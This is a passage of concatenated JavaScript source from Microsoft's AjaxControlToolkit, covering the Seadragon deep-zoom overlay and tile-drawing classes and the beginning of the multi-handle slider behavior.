    this.elmt = elmt;
    this.scales = (loc instanceof AjaxControlToolkit.Seadragon.Rect);
    this.bounds = new AjaxControlToolkit.Seadragon.Rect(loc.x, loc.y, loc.width, loc.height);
    // Drawing
    this.placement = loc instanceof AjaxControlToolkit.Seadragon.Point ? placement : AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT;    // rects are always top-left
    this.position = new AjaxControlToolkit.Seadragon.Point(loc.x, loc.y);
    this.size = new AjaxControlToolkit.Seadragon.Point(loc.width, loc.height);
    this.style = elmt.style;
}
AjaxControlToolkit.Seadragon.Overlay.prototype = {

    adjust: function(position, size) {
        switch (this.placement) {
            case AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT:
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.TOP:
                position.x -= size.x / 2;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_RIGHT:
                position.x -= size.x;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.RIGHT:
                position.x -= size.x;
                position.y -= size.y / 2;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.BOTTOM_RIGHT:
                position.x -= size.x;
                position.y -= size.y;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.BOTTOM:
                position.x -= size.x / 2;
                position.y -= size.y;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.BOTTOM_LEFT:
                position.y -= size.y;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.LEFT:
                position.y -= size.y / 2;
                break;
            case AjaxControlToolkit.Seadragon.OverlayPlacement.CENTER:
            default:
                position.x -= size.x / 2;
                position.y -= size.y / 2;
                break;
        }
    },
    destroy: function() {
        var elmt = this.elmt;
        var style = this.style;

        if (elmt.parentNode) {
            elmt.parentNode.removeChild(elmt);
        }

        style.top = "";
        style.left = "";
        style.position = "";

        if (this.scales) {
            style.width = "";
            style.height = "";
        }
    },
    drawHTML: function(container) {
        var elmt = this.elmt;
        var style = this.style;
        var scales = this.scales;

        if (elmt.parentNode != container) {
            container.appendChild(elmt);
        }

        // override calculated size if this element doesn't scale with image
        if (!scales) {
            this.size = Seadragon.Utils.getElementSize(elmt);
        }

        var position = this.position;
        var size = this.size;

        // adjust position based on placement (default is center)
        this.adjust(position, size);

        position = position.apply(Math.floor);
        size = size.apply(Math.ceil);

        style.left = position.x + "px";
        style.top = position.y + "px";
        style.position = "absolute";

        if (scales) {
            style.width = size.x + "px";
            style.height = size.y + "px";
        }
    },
    update: function(loc, placement) {
        this.scales = (loc instanceof AjaxControlToolkit.Seadragon.Rect);
        this.bounds = new AjaxControlToolkit.Seadragon.Rect(loc.x, loc.y, loc.width, loc.height);
        this.placement = loc instanceof AjaxControlToolkit.Seadragon.Point ?
                placement : AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT;    // rects are always top-left
    }

}
AjaxControlToolkit.Seadragon.Overlay.registerClass('AjaxControlToolkit.Seadragon.Overlay', null, Sys.IDisposable);

AjaxControlToolkit.Seadragon.Drawer = function(source, viewport, elmt) {

	this._container = Seadragon.Utils.getElement(elmt);
	this._canvas = Seadragon.Utils.makeNeutralElement(useCanvas ? "canvas" : "div");
	this._context = useCanvas ? this._canvas.getContext("2d") : null;
	this._viewport = viewport;
	this._source = source;
	this.config = this._viewport.config;

	this._imageLoader = new AjaxControlToolkit.Seadragon.ImageLoader(this.config.imageLoaderLimit);
	this._profiler = new AjaxControlToolkit.Seadragon.Profiler();

	this._minLevel = source.minLevel;
	this._maxLevel = source.maxLevel;
	this._tileSize = source.tileSize;
	this._tileOverlap = source.tileOverlap;
	this._normHeight = source.dimensions.y / source.dimensions.x;

	this._cacheNumTiles = {};     // 1d dictionary [level] --> Point
	this._cachePixelRatios = {};  // 1d dictionary [level] --> Point
	this._tilesMatrix = {};       // 3d dictionary [level][x][y] --> Tile
	this._tilesLoaded = [];       // unordered list of Tiles with loaded images
	this._coverage = {};          // 3d dictionary [level][x][y] --> Boolean

	this._overlays = [];          // unordered list of Overlays added
	this._lastDrawn = [];         // unordered list of Tiles drawn last frame
	this._lastResetTime = 0;
	this._midUpdate = false;
	this._updateAgain = true;

	// Properties

	this.elmt = this._container;

	// Constructor

	this._init();
}
AjaxControlToolkit.Seadragon.Drawer.prototype = {
    dispose: function() {
        //ToDO:
    },
    _init: function() {
        this._canvas.style.width = "100%";
        this._canvas.style.height = "100%";
        this._canvas.style.position = "absolute";
        this._container.style.textAlign = "left";    // explicit left-align
        this._container.appendChild(this._canvas);
    },
    _compareTiles: function(prevBest, tile) {
        // figure out if this tile is better than the previous best tile...
        // note that if there is no prevBest, this is automatically better.
        if (!prevBest) {
            return tile;
        }

        if (tile.visibility > prevBest.visibility) {
            return tile;
        } else if (tile.visibility == prevBest.visibility) {
            if (tile.distance < prevBest.distance) {
                return tile;
            }
        }

        return prevBest;
    },
    _getNumTiles: function(level) {
        if (!this._cacheNumTiles[level]) {
            this._cacheNumTiles[level] = this._source.getNumTiles(level);
        }

        return this._cacheNumTiles[level];
    },

    _getPixelRatio: function(level) {
        if (!this._cachePixelRatios[level]) {
            this._cachePixelRatios[level] = this._source.getPixelRatio(level);
        }

        return this._cachePixelRatios[level];
    },

    // Helpers -- TILES

    _getTile: function(level, x, y, time, numTilesX, numTilesY) {
        if (!this._tilesMatrix[level]) {
            this._tilesMatrix[level] = {};
        }
        if (!this._tilesMatrix[level][x]) {
            this._tilesMatrix[level][x] = {};
        }

        // initialize tile object if first time
        if (!this._tilesMatrix[level][x][y]) {
            // where applicable, adjust x and y to support wrapping.
            var xMod = (numTilesX + (x % numTilesX)) % numTilesX;
            var yMod = (numTilesY + (y % numTilesY)) % numTilesY;
            var bounds = this._source.getTileBounds(level, xMod, yMod);
            var exists = this._source.tileExists(level, xMod, yMod);
            var url = this._source.getTileUrl(level, xMod, yMod);

            // also adjust bounds to support wrapping.
            bounds.x += 1.0 * (x - xMod) / numTilesX;
            bounds.y += this._normHeight * (y - yMod) / numTilesY;

            this._tilesMatrix[level][x][y] = new AjaxControlToolkit.Seadragon.Tile(level, x, y, bounds, exists, url);
        }

        var tile = this._tilesMatrix[level][x][y];

        // mark tile as touched so we don't reset it too soon
        tile.lastTouchTime = time;

        return tile;
    },

    _loadTile: function(tile, time) {
        tile.loading = this._imageLoader.loadImage(tile.url,
                    Seadragon.Utils.createCallback(null, Function.createDelegate(this, this._onTileLoad), tile, time));
    },

    _onTileLoad: function(tile, time, image) {
        tile.loading = false;

        if (this._midUpdate) {
            Seadragon.Debug.error("Tile load callback in middle of drawing routine.");
            return;
        } else if (!image) {
            Seadragon.Debug.log("Tile " + tile + " failed to load: " + tile.url);
            tile.exists = false;
            return;
        } else if (time < this._lastResetTime) {
            Seadragon.Debug.log("Ignoring tile " + tile + " loaded before reset: " + tile.url);
            return;
        }

        tile.loaded = true;
        tile.image = image;

        var insertionIndex = this._tilesLoaded.length;

        if (this._tilesLoaded.length >= QUOTA) {
            var cutoff = Math.ceil(Math.log(this._tileSize) / Math.log(2));
            // don't delete any single-tile levels. this takes priority.

            var worstTile = null;
            var worstTileIndex = -1;

            for (var i = this._tilesLoaded.length - 1; i >= 0; i--) {
                var prevTile = this._tilesLoaded[i];

                if (prevTile.level <= this._cutoff || prevTile.beingDrawn) {
                    continue;
                } else if (!worstTile) {
                    worstTile = prevTile;
                    worstTileIndex = i;
                    continue;
                }

                var prevTime = prevTile.lastTouchTime;
                var worstTime = worstTile.lastTouchTime;
                var prevLevel = prevTile.level;
                var worstLevel = worstTile.level;

                if (prevTime < worstTime ||
                            (prevTime == worstTime && prevLevel > worstLevel)) {
                    worstTile = prevTile;
                    worstTileIndex = i;
                }
            }

            if (worstTile && worstTileIndex >= 0) {
                worstTile.unload();
                insertionIndex = worstTileIndex;
                // note: we don't want or need to delete the actual Tile
                // object from tilesMatrix; that's negligible memory.
            }
        }

        this._tilesLoaded[insertionIndex] = tile;
        this._updateAgain = true;
    },

    _clearTiles: function() {
        this._tilesMatrix = {};
        this._tilesLoaded = [];
    },

    // Helpers -- COVERAGE

    // Coverage scheme: it's required that in the draw routine, coverage for
    // every tile within the viewport is initially explicitly set to false.
    // This way, if a given level's coverage has been initialized, and a tile
    // isn't found, it means it's offscreen and thus provides coverage (since
    // there's no content needed to be covered). And if every tile that is found
    // does provide coverage, the entire visible level provides coverage.

    /**
    * Returns true if the given tile provides coverage to lower-level tiles of
    * lower resolution representing the same content. If neither x nor y is
    * given, returns true if the entire visible level provides coverage.
    * 
    * Note that out-of-bounds tiles provide coverage in this sense, since
    * there's no content that they would need to cover. Tiles at non-existent
    * levels that are within the image bounds, however, do not.
    */
    _providesCoverage: function(level, x, y) {
        if (!this._coverage[level]) {
            return false;
        }

        if (x === undefined || y === undefined) {
            // check that every visible tile provides coverage.
            // update: protecting against properties added to the Object
            // class's prototype, which can definitely (and does) happen.
            var rows = this._coverage[level];
            for (var i in rows) {
                if (rows.hasOwnProperty(i)) {
                    var cols = rows[i];
                    for (var j in cols) {
                        if (cols.hasOwnProperty(j) && !cols[j]) {
                            return false;
                        }
                    }
                }
            }

            return true;
        }

        return (this._coverage[level][x] === undefined ||
                    this._coverage[level][x][y] === undefined ||
                    this._coverage[level][x][y] === true);
    },

    /**
    * Returns true if the given tile is completely covered by higher-level
    * tiles of higher resolution representing the same content. If neither x
    * nor y is given, returns true if the entire visible level is covered.
    */
    _isCovered: function(level, x, y) {
        if (x === undefined || y === undefined) {
            return this._providesCoverage(level + 1);
        } else {
            return (this._providesCoverage(level + 1, 2 * x, 2 * y) &&
                        this._providesCoverage(level + 1, 2 * x, 2 * y + 1) &&
                        this._providesCoverage(level + 1, 2 * x + 1, 2 * y) &&
                        this._providesCoverage(level + 1, 2 * x + 1, 2 * y + 1));
        }
    },

    /**
    * Sets whether the given tile provides coverage or not.
    */
    _setCoverage: function(level, x, y, covers) {
        if (!this._coverage[level]) {
            Seadragon.Debug.error("Setting coverage for a tile before its " +
                        "level's coverage has been reset: " + level);
            return;
        }

        if (!this._coverage[level][x]) {
            this._coverage[level][x] = {};
        }

        this._coverage[level][x][y] = covers;
    },

    /**
    * Resets coverage information for the given level. This should be called
    * after every draw routine. Note that at the beginning of the next draw
    * routine, coverage for every visible tile should be explicitly set. 
    */
    _resetCoverage: function(level) {
        this._coverage[level] = {};
    },

    // Helpers -- SCORING

    _compareTiles: function(prevBest, tile) {
        // figure out if this tile is better than the previous best tile...
        // note that if there is no prevBest, this is automatically better.
        if (!prevBest) {
            return tile;
        }

        if (tile.visibility > prevBest.visibility) {
            return tile;
        } else if (tile.visibility == prevBest.visibility) {
            if (tile.distance < prevBest.distance) {
                return tile;
            }
        }

        return prevBest;
    },

    // Helpers -- OVERLAYS

    _getOverlayIndex: function(elmt) {
        for (var i = this._overlays.length - 1; i >= 0; i--) {
            if (this._overlays[i].elmt == elmt) {
                return i;
            }
        }

        return -1;
    },

    // Helpers -- CORE

    _updateActual: function() {
        // assume we won't need to update again after this update.
        // we'll set this if we find a reason to update again.
        this._updateAgain = false;

        // make local references to variables & functions referenced in
        // loops in order to improve perf
        var _canvas = this._canvas;
        var _context = this._context;
        var _container = this._container;
        var _useCanvas = useCanvas;
        var _lastDrawn = this._lastDrawn;

        // the tiles that were drawn last frame, but won't be this frame,
        // can be cleared from the cache, so they should be marked as such.
        while (_lastDrawn.length > 0) {
            var tile = _lastDrawn.pop();
            tile.beingDrawn = false;
        }

        // we need the size of the viewport (in pixels) in multiple places
        var viewportSize = this._viewport.getContainerSize();
        var viewportWidth = viewportSize.x;
        var viewportHeight = viewportSize.y;

        // clear canvas, whether in <canvas> mode or HTML mode.
        // this is important as scene may be empty this frame.
        _canvas.innerHTML = "";
        if (_useCanvas) {
            _canvas.width = viewportWidth;
            _canvas.height = viewportHeight;
            _context.clearRect(0, 0, viewportWidth, viewportHeight);
            // this last line shouldn't be needed. setting the width and
            // height should clear <canvas>, but Firefox doesn't always.
        }

        // if viewport is off image entirely, don't bother drawing.
        // UPDATE: logic modified to support horizontal/vertical wrapping.
        var viewportBounds = this._viewport.getBounds(true);
        var viewportTL = viewportBounds.getTopLeft();
        var viewportBR = viewportBounds.getBottomRight();
        if (!this.config.wrapHorizontal &&
                    (viewportBR.x < 0 || viewportTL.x > 1)) {
            // we're not wrapping horizontally, and viewport is off in x
            return;
        } else if (!this.config.wrapVertical &&
                    (viewportBR.y < 0 || viewportTL.y > this._normHeight)) {
            // we're not wrapping vertically, and viewport is off in y
            return;
        }

        // the below section is commented out because it's more relevant to
        // collections, where you don't want 10 items to all load their xml
        // at the same time when 9 of them won't be in the viewport soon.

        //            // but even if the viewport is currently on the image, don't force
        //            // tiles to load if the viewport target is off the image
        //            var viewportTargetBounds = getViewportBounds(false);
        //            var viewportTargetTL = viewportTargetBounds.getTopLeft();
        //            var viewportTargetBR = viewportTargetBounds.getBottomRight();
        //            var willBeOff = viewportTargetBR.x < 0 || viewportTargetBR.y < 0 ||
        //                    viewportTargetTL.x > 1 || viewportTargetTL.y > normHeight;


        // same for Math functions
        var _abs = Math.abs;
        var _ceil = Math.ceil;
        var _floor = Math.floor;
        var _log = Math.log;
        var _max = Math.max;
        var _min = Math.min;
        // and Viewport functions
        //var _deltaPixelsFromPoints = this._viewport.deltaPixelsFromPoints;
        //var _pixelFromPoint = this._viewport.pixelFromPoint;
        // and TileSource functions
        //var _getTileAtPoint = this._source.getTileAtPoint;
        // and Config properties
        var alwaysBlend = this.config.alwaysBlend;
        var blendTimeMillis = 1000 * this.config.blendTime;
        var immediateRender = this.config.immediateRender;
        var minDimension = this.config.minZoomDimension;   // for backwards compatibility
        var minImageRatio = this.config.minImageRatio;
        var wrapHorizontal = this.config.wrapHorizontal;
        var wrapVertical = this.config.wrapVertical;

        // restrain bounds of viewport relative to image.
        // UPDATE: logic modified to support horizontal/vertical wrapping.
        if (!wrapHorizontal) {
            viewportTL.x = _max(viewportTL.x, 0);
            viewportBR.x = _min(viewportBR.x, 1);
        }
        if (!wrapVertical) {
            viewportTL.y = _max(viewportTL.y, 0);
            viewportBR.y = _min(viewportBR.y, this._normHeight);
        }

        var best = null;
        var haveDrawn = false;
        var currentTime = new Date().getTime();

        // calculate values for scoring -- this is based on TARGET values
        var viewportCenter = this._viewport.pixelFromPoint(this._viewport.getCenter());
        var zeroRatioT = this._viewport.deltaPixelsFromPoints(this._source.getPixelRatio(0), false).x;
        var optimalPixelRatio = immediateRender ? 1 : zeroRatioT;

        // adjust levels to iterate over -- this is based on CURRENT values
        // TODO change this logic to use minImageRatio, but for backwards
        // compatibility, use minDimension if it's been explicitly set.
        // TEMP for now, original minDimension logic with default 64.
        minDimension = minDimension || 64;
        var lowestLevel = _max(this._minLevel, _floor(_log(minDimension) / _log(2)));
        var zeroRatioC = this._viewport.deltaPixelsFromPoints(this._source.getPixelRatio(0), true).x;
        var highestLevel = _min(this._maxLevel,
                    _floor(_log(zeroRatioC / MIN_PIXEL_RATIO) / _log(2)));

        // with very small images, this edge case can occur...
        lowestLevel = _min(lowestLevel, highestLevel);

        for (var level = highestLevel; level >= lowestLevel; level--) {
            var drawLevel = false;
            var renderPixelRatioC = this._viewport.deltaPixelsFromPoints(
                        this._source.getPixelRatio(level), true).x;     // note the .x!

            // if we haven't drawn yet, only draw level if tiles are big enough
            if ((!haveDrawn && renderPixelRatioC >= MIN_PIXEL_RATIO) ||
                        level == lowestLevel) {
                drawLevel = true;
                haveDrawn = true;
            } else if (!haveDrawn) {
                continue;
            }

            this._resetCoverage(level);

            // calculate scores applicable to all tiles on this level --
            // note that we're basing visibility on the TARGET pixel ratio
            var levelOpacity = _min(1, (renderPixelRatioC - 0.5) / 0.5);
            var renderPixelRatioT = this._viewport.deltaPixelsFromPoints(
                        this._source.getPixelRatio(level), false).x;
            var levelVisibility = optimalPixelRatio /
                        _abs(optimalPixelRatio - renderPixelRatioT);

            // only iterate over visible tiles
            var tileTL = this._source.getTileAtPoint(level, viewportTL);
            var tileBR = this._source.getTileAtPoint(level, viewportBR);
            var numTiles = this._getNumTiles(level);
            var numTilesX = numTiles.x;
            var numTilesY = numTiles.y;
            if (!wrapHorizontal) {
                tileBR.x = _min(tileBR.x, numTilesX - 1);
            }
            if (!wrapVertical) {
                tileBR.y = _min(tileBR.y, numTilesY - 1);
            }

            for (var x = tileTL.x; x <= tileBR.x; x++) {
                for (var y = tileTL.y; y <= tileBR.y; y++) {
                    var tile = this._getTile(level, x, y, currentTime, numTilesX, numTilesY);
                    var drawTile = drawLevel;

                    // assume this tile doesn't cover initially
                    this._setCoverage(level, x, y, false);

                    if (!tile.exists) {
                        // not part of sparse image, or failed to load
                        continue;
                    }

                    // if we've drawn a higher-resolution level and we're not
                    // going to draw this level, then say this tile does cover
                    // if it's covered by higher-resolution tiles. if we're not
                    // covered, then we should draw this tile regardless.
                    if (haveDrawn && !drawTile) {
                        if (this._isCovered(level, x, y)) {
                            this._setCoverage(level, x, y, true);
                        } else {
                            drawTile = true;
                        }
                    }

                    if (!drawTile) {
                        continue;
                    }

                    // calculate tile's position and size in pixels
                    var boundsTL = tile.bounds.getTopLeft();
                    var boundsSize = tile.bounds.getSize();
                    var positionC = this._viewport.pixelFromPoint(boundsTL, true);
                    var sizeC = this._viewport.deltaPixelsFromPoints(boundsSize, true);

                    // if there is no tile overlap, we need to oversize the
                    // tiles by 1px to prevent seams at imperfect zooms.
                    // fortunately, this is not an issue with regular dzi's
                    // created from Deep Zoom Composer, which uses overlap.
                    if (!this._tileOverlap) {
                        sizeC = sizeC.plus(new AjaxControlToolkit.Seadragon.Point(1, 1));
                    }

                    // calculate distance from center of viewport -- note
                    // that this is based on tile's TARGET position
                    var positionT = this._viewport.pixelFromPoint(boundsTL, false);
                    var sizeT = this._viewport.deltaPixelsFromPoints(boundsSize, false);
                    var tileCenter = positionT.plus(sizeT.divide(2));
                    var tileDistance = viewportCenter.distanceTo(tileCenter);

                    // update tile's scores and values
                    tile.position = positionC;
                    tile.size = sizeC;
                    tile.distance = tileDistance;
                    tile.visibility = levelVisibility;

                    if (tile.loaded) {
                        if (!tile.blendStart) {
                            // image was just added, blend it
                            tile.blendStart = currentTime;
                        }

                        var deltaTime = currentTime - tile.blendStart;
                        var opacity = _min(1, deltaTime / blendTimeMillis);
                        
                        if (alwaysBlend) {
                            opacity *= levelOpacity;
                        }

                        tile.opacity = opacity;

                        // queue tile for drawing in reverse order
                        _lastDrawn.push(tile);

                        // if fully blended in, this tile now provides coverage,
                        // otherwise we need to update again to keep blending
                        if (opacity == 1) {
                            this._setCoverage(level, x, y, true);
                        } else if (deltaTime < blendTimeMillis) {
                            updateAgain = true;
                        }
                    } else if (tile.Loading) {
                        // nothing to see here, move on
                    } else {
                        // means tile isn't loaded yet, so score it
                        best = this._compareTiles(best, tile);
                    }
                }
            }

            // we may not need to draw any more lower-res levels
            if (this._providesCoverage(level)) {
                break;
            }
        }

        // now draw the tiles, but in reverse order since we want higher-res
        // tiles to be drawn on top of lower-res ones. also mark each tile
        // as being drawn so it won't get cleared from the cache.
        for (var i = _lastDrawn.length - 1; i >= 0; i--) {
            var tile = _lastDrawn[i];

            if (_useCanvas) {
                tile.drawCanvas(_context);
            } else {
                tile.drawHTML(_canvas);
            }

            tile.beingDrawn = true;
        }

        // draw the overlays -- TODO optimize based on viewport like tiles,
        // but this is tricky for non-scaling overlays like pins...
        var numOverlays = this._overlays.length;
        for (var i = 0; i < numOverlays; i++) {
            var overlay = this._overlays[i];
            var bounds = overlay.bounds;

            overlay.position = this._viewport.pixelFromPoint(bounds.getTopLeft(), true);
            overlay.size = this._viewport.deltaPixelsFromPoints(bounds.getSize(), true);
            overlay.drawHTML(_container);
        }

        // load next tile if there is one to load
        if (best) {
            this._loadTile(best, currentTime);
            this._updateAgain = true; // because we haven't finished drawing, so
            // we should be re-evaluating and re-scoring
        }
    },

    // Methods -- OVERLAYS

    addOverlay: function(elmt, loc, placement) {
        var elmt = Seadragon.Utils.getElement(elmt);

        if (this._getOverlayIndex(elmt) >= 0) {
            return;     // they're trying to add a duplicate overlay
        }

        this._overlays.push(new AjaxControlToolkit.Seadragon.Overlay(elmt, loc, placement));
        this._updateAgain = true;
    },

    updateOverlay: function(elmt, loc, placement) {
        var elmt = Seadragon.Utils.getElement(elmt);
        var i = this._getOverlayIndex(elmt);

        if (i >= 0) {
            this._overlays[i].update(loc, placement);
            this._updateAgain = true;
        }
    },

    removeOverlay: function(elmt) {
        var elmt = Seadragon.Utils.getElement(elmt);
        var i = this._getOverlayIndex(elmt);

        if (i >= 0) {
            this._overlays[i].destroy();
            this._overlays.splice(i, 1);
            this._updateAgain = true;
        }
    },

    clearOverlays: function() {
        while (this._overlays.length > 0) {
            this._overlays.pop().destroy();
            this._updateAgain = true;
        }
    },

    // Methods -- CORE

    needsUpdate: function() {
        return this._updateAgain;
    },

    numTilesLoaded: function() {
        return this._tilesLoaded.length;
    },

    reset: function() {
        this._clearTiles();
        this._lastResetTime = new Date().getTime();
        this._updateAgain = true;
    },

    update: function() {
        this._profiler.beginUpdate();
        this._midUpdate = true;
        this._updateActual();
        this._midUpdate = false;
        this._profiler.endUpdate();
    },

    idle: function() {
        // TODO idling function
    }
}
AjaxControlToolkit.Seadragon.Drawer.registerClass('AjaxControlToolkit.Seadragon.Drawer', null, Sys.IDisposable);

�u// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.

/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Compat/DragDrop/DragDropScripts.js" />
/// <reference path="../Animation/Animations.js" />

Type.registerNamespace('AjaxControlToolkit');

// DragDropManager

AjaxControlToolkit._MultiHandleSliderDragDropInternal = function() {
    AjaxControlToolkit._MultiHandleSliderDragDropInternal.initializeBase(this);
    this._instance = null;
}
AjaxControlToolkit._MultiHandleSliderDragDropInternal.prototype = {
    _getInstance: function() {
        // Do not use singleton pattern here; it will break the DragDropScripts.js implementation!
        //if(!this._instance) {
            this._instance = new AjaxControlToolkit.GenericDragDropManager();
            this._instance.initialize();
            this._instance.add_dragStart(Function.createDelegate(this, this._raiseDragStart));
            this._instance.add_dragStop(Function.createDelegate(this, this._raiseDragStop));
        //}
        return this._instance;
    }
}
AjaxControlToolkit._MultiHandleSliderDragDropInternal.registerClass('AjaxControlToolkit._MultiHandleSliderDragDropInternal', AjaxControlToolkit._DragDropManager);
AjaxControlToolkit.DragDrop = new AjaxControlToolkit._MultiHandleSliderDragDropInternal();

// Enums

AjaxControlToolkit.MultiHandleInnerRailStyle = function() {
    /// <summary>
    /// The MultiHandleInnerRailStyle enumeration describes how the inner rail is rendered
    /// </summary>
    /// <field name="AsIs">The inner style is rendered as it is defined.</field>
    /// <field name="SlidingDoors">The inner style is super-imposed on the outer style.</field>
}

AjaxControlToolkit.MultiHandleInnerRailStyle.prototype = {
    AsIs: 0,
    SlidingDoors: 1
}
AjaxControlToolkit.MultiHandleInnerRailStyle.registerEnum('AjaxControlToolkit.MultiHandleInnerRailStyle', false);

AjaxControlToolkit.SliderOrientation = function() {
    /// <summary>
    /// The SliderOrientation enumeration describes the slider's visual orientation.
    /// </summary>
    /// <field name="Horizontal">The slider orientation is left to right.</field>
    /// <field name="Vertical">The slider orientation is top to bottom.</field>
}

AjaxControlToolkit.SliderOrientation.prototype = {
    Horizontal: 0,
    Vertical: 1
}
AjaxControlToolkit.SliderOrientation.registerEnum('AjaxControlToolkit.SliderOrientation', false);

// Behavior

AjaxControlToolkit.MultiHandleSliderBehavior = function(element) {
    /// <summary>
    /// A behavior that attaches a multi-handled slider to a TextBox control.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">The element to attach to.</param>
    /// <returns></returns>
    
    AjaxControlToolkit.MultiHandleSliderBehavior.initializeBase(this, [element]);

    // Extender Properties
    this._minimum = null;
    this._maximum = null;
    this._orientation = AjaxControlToolkit.SliderOrientation.Horizontal;
    this._cssClass = null;
    this._multiHandleSliderTargets = null;
    this._length = 150;
    this._steps = 0;
    this._enableHandleAnimation = false;
    this._showInnerRail = false;
    this._showHoverStyle = false;
    this._showDragStyle = false;
    this._raiseChangeOnlyOnMouseUp = true;
    this._innerRailStyle = AjaxControlToolkit.MultiHandleInnerRailStyle.AsIs;
    this._enableInnerRangeDrag = false;
    this._enableRailClick = true;
    this._isReadOnly = false;
    this._increment = 1;
    this._enableKeyboard = true;
    this._enableMouseWheel = true;
    this._tooltipText = '';
    
    // Backwards-compatibility Properties
    this._boundControlID = null;
    this._handleCssClass = null;
    this._handleImageUrl = null;
    this._handleImage = null;
    this._railCssClass = null;
    this._decimals = 0;
    
    // Private Fields
    this._textBox = null;
    this._wrapper = null;
    this._outer = null;
    this._inner = null;
    this._handleData = null;
    this._handleAnimationDuration = 0.02;
    this._handles = 0;
    this._innerDragFlag = false;
    this._isVertical = false;

    // Global Handlers
    this._selectStartHandler = null;
    this._mouseUpHandler = null;
    this._mouseOutHandler = null;
    this._keyDownHandler = null;
    this._mouseWheelHandler = null;
    this._mouseOverHandler = null;
    
    // Callbacks

    // State
    this._animationPending = false;
    this._selectStartPending = false;
    this._initialized = false;
    this._handleUnderDrag = null;
    this._innerDrag = false;
    this._blockInnerClick = false;
}

// MultiHandleSliderExtender Behavior

AjaxControlToolkit.MultiHandleSliderBehavior.prototype = {
    
    // Constructor
    
    initialize: function() {
        /// <summary>
        /// Initializes this instance of the <see cref="AjaxControlToolkit.MultiHandleSliderExtender" /> behavior.
        /// </summary>
        /// <returns></returns>
        
        AjaxControlToolkit.MultiHandleSliderBehavior.callBaseMethod(this, 'initialize');

        // Determine internal variables from configuration
        if (this._boundControlID && !this._multiHandleSliderTargets) {
            // Backwards compatibility support for upgrading existing SliderExtenders
            this._multiHandleSliderTargets = [{
                "ControlID": this._boundControlID,
                "HandleCssClass": this._handleCssClass,
                "HandleImageUrl": this._handleImageUrl,
                "Decimals": this._decimals
            }];
        }
        this._handles = this._multiHandleSliderTargets ? this._multiHandleSliderTargets.length: 0;
        if(this._handles === 0)
        {
            // Support a boundless extender
            var boundless = document.createElement("INPUT");
            boundless.id = "boundless";
            boundless.style.display = "none";
            boundless.value = this.get_minimum();
            document.forms[0].appendChild(boundless);
            
            this._multiHandleSliderTargets = [{
                "ControlID": boundless.id,
                "HandleCssClass": this._handleCssClass,
                "HandleImageUrl": this._handleImageUrl,
                "Decimals": this._decimals
            }];
            this._boundControlID = boundless.id;
            this._handles = 1;
        }
        
        this._isVertical = this._orientation === AjaxControlToolkit.SliderOrientation.Vertical;

        this._resolveNamingContainer();
        this._createWrapper();
        this._createOuterRail();
        this._createHandles();
        this._createInnerRail();
        this._setRailStyles();

        if (this._length) {
            if (!this._cssClass && this._innerRailStyle !== AjaxControlToolkit.MultiHandleInnerRailStyle.SlidingDoors) {
                if (this._isVertical) {
                    this._outer.style.height = this._length + "px";
                } else {
                    this._outer.style.width = this._length + "px";
                }
            }
        }

        this._build();
        this._enforceElementPositioning();
        this._initializeSlider();
    },
    
    // Public Methods
    
    dispose: function() {
        /// <summary>
        /// Disposes this instance of the <see cref="AjaxControlToolkit.MultiHandleSliderExtender" /> behavior.
        /// </summary>
        /// <returns></returns>
        
        this._disposeHandlers();
        this._disposeMultiHandleSliderTargets();
        
        if (this._enableHandleAnimation && this._handleAnimation) {
            this._handleAnimation.dispose();
        }
        AjaxControlToolkit.MultiHandleSliderBehavior.callBaseMethod(this, 'dispose');
    },
    
    get_SliderInitialized : function() {
        /// <summary>
        /// Gets whether this slider is initialized. This is here for backwards compatibility
        /// with the original Slider.
        /// </summary>
        /// <returns></returns>
                
        return this._initialized;
    },
    
    getValue : function(index) {
        /// <summary>
        /// Gets the value of a specific slider handle programmatically by index.
        /// </summary>
        /// <param name="value" type="Number">The handle index.</param>
        /// <returns type="Number">The value of the specified slider handle.</returns>
        
        var multiHandleSliderTarget = $get(this._multiHandleSliderTargets[index].ControlID);
        return multiHandleSliderTarget.value;
    },
    setValue : function(index, value) {
        /// <summary>
        /// Sets the value of a specific slider handle programmatically by index.
        /// </summary>
        /// <param name="index">The handle index.</param>
        /// <param name="value">The value to set.</param>
        /// <returns></returns>
        
        var multiHandleSliderTarget = $get(this._multiHandleSliderTargets[index].ControlID);
        if(multiHandleSliderTarget) {
            this.beginUpdate();
            this._setMultiHandleSliderTargetValue(multiHandleSliderTarget, this._getNearestStepValue(value));
            this.endUpdate();
        }
    },
    
    get_values : function() {
        /// <summary>
        /// Gets all handle values as a comma-delimited string. This is required
        /// for the automated toolkit test behavior.
        /// </summary>
        /// <returns type="String">A comma-delimited string of handle values.</returns>
        
        var values = [this._handles];
        for(var i = 0; i < this._handles; i++) {
            var control = this._multiHandleSliderTargets[i];
            values[i] = control.value;
        }
        return values.join(',');
    },
    
    // Private Methods    
    
    _build: function() {
        /// <summary>
        /// Assembles the generated slider DOM elements on the page.
        /// </summary>
        /// <returns></returns>
        
        this._textBox = this.get_element();
        this._textBox.parentNode.insertBefore(this._wrapper, this._textBox);
        this._wrapper.appendChild(this._outer);
        
        if (this._inner && this._showInnerRail) {
            this._outer.appendChild(this._inner);
        }
        this._textBox.style.display = 'none';
    },
    
    _calculateInnerRailOffset: function(e) {
        /// <summary>
        /// Calculates the offset of the inner rail.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info</param>
        
        var edge = this._isVertical ? this._inner.style.top: this._inner.style.left;
        var offset = this._isVertical ? e.offsetY: e.offsetX;
